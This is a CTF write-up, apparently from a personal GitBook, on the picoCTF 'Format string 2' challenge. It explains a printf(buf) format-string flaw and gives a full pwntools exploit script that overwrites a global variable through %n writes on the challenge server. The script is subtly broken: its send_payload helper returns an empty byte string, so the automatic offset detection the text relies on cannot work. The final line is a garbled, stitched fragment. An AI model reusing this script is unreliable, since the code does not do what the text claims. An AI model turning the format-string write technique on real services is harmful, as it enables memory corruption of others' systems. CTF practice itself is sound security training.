> For the complete documentation index, see [llms.txt](https://alham-rizvi.gitbook.io/alhamrizvi/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://alham-rizvi.gitbook.io/alhamrizvi/picoctf-writeups/picoctf/binary-exploitation/format-string-2.md).

# Format string 2

We are given this C code:

```c
int sus = 0x21737573;
```

This is a global variable. Right now its value is:

```
0x21737573
```

Later in the code:

```c
if (sus == 0x67616c66)
```

👉 The program will give us the flag **ONLY IF** we change `sus` to:

```
0x67616c66
```

So our goal is simple:

> Change the value of `sus` in memory.

***

### 🚨 Where is the Vulnerability?

This line is the problem:

```c
printf(buf);
```

Instead of:

```c
printf("%s", buf);
```

👉 This means **user input is directly used as a format string**.

This is a classic **Format String Vulnerability**.

***

### 💡 Why is this powerful?

Because with format strings like:

```
%x %x %x
```

we can read stack values.

And with:

```
%n
```

we can **write to memory**.

***

### 🎯 Goal

We want to:

* Write `0x67616c66` into `sus`
* `sus` is located at:

```
0x404060
```

***

### 🔍 Step 1: Finding the Offset

We need to know:

> At which position our input appears on the stack?

Instead of guessing manually, we used:

```python
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
```

👉 This automatically finds the correct offset.

Example output:

```
[*] Offset: 6
```

(This may vary, but assume it's 6)

***

### 🧠 What is "offset"?

It means:

> "Our input starts at position 6 on the stack"

So when we use `%6$n`, it refers to our controlled data.

***

### ⚙️ Step 2: Crafting Payload

We use:

```python
payload = fmtstr_payload(offset, {SUS_ADDR: 0x67616c66})
```

👉 This does everything for us:

* Splits value into parts
* Writes correctly using `%n`
* Handles padding

***

### 🧪 Final Exploit Script (Simplified)

Here’s a **clean and simple version** of your script:

```python
from pwn import *

HOST = 'rhea.picoctf.net'
PORT = 52516

sus_addr = 0x404060

# Step 1: Find offset
def send_payload(payload):
    p = remote(HOST, PORT)
    p.recvline()
    p.sendline(payload)
    p.recvall(timeout=2)
    p.close()
    return b''

offset = FmtStr(send_payload).offset
print("Offset:", offset)

# Step 2: Create payload
payload = fmtstr_payload(offset, {sus_addr: 0x67616c66})

# Step 3: Send payload
p = remote(HOST, PORT)
p.recvline()
p.sendline(payload)

print(p.recvall(timeout=3).decode())
```

***

### 🚀 Step 3: Getting the Flag

When we send the payload:

👉 It overwrites:

```
sus = 0x67616c66
```

Now condition becomes:

```c
if (sus == 0x67616c66)
```

✅ TRUE!

So program executes:

```c
fopen("flag.txt", "r");
fgets(flag, 64, fd);
printf("%s", flag);
```

👉 And prints the flag 🎉

***

### 🔥 Final Flow (Super Simple)

1. Program takes input
2. Uses `printf(buf)` → vulnerable
3. We send format string payload
4. Payload writes to memory (`sus`)
5. `sus` becomes correct value
6. Condition passes
7. Flag is printeds)\*\* — that’s where real understanding gets strong.
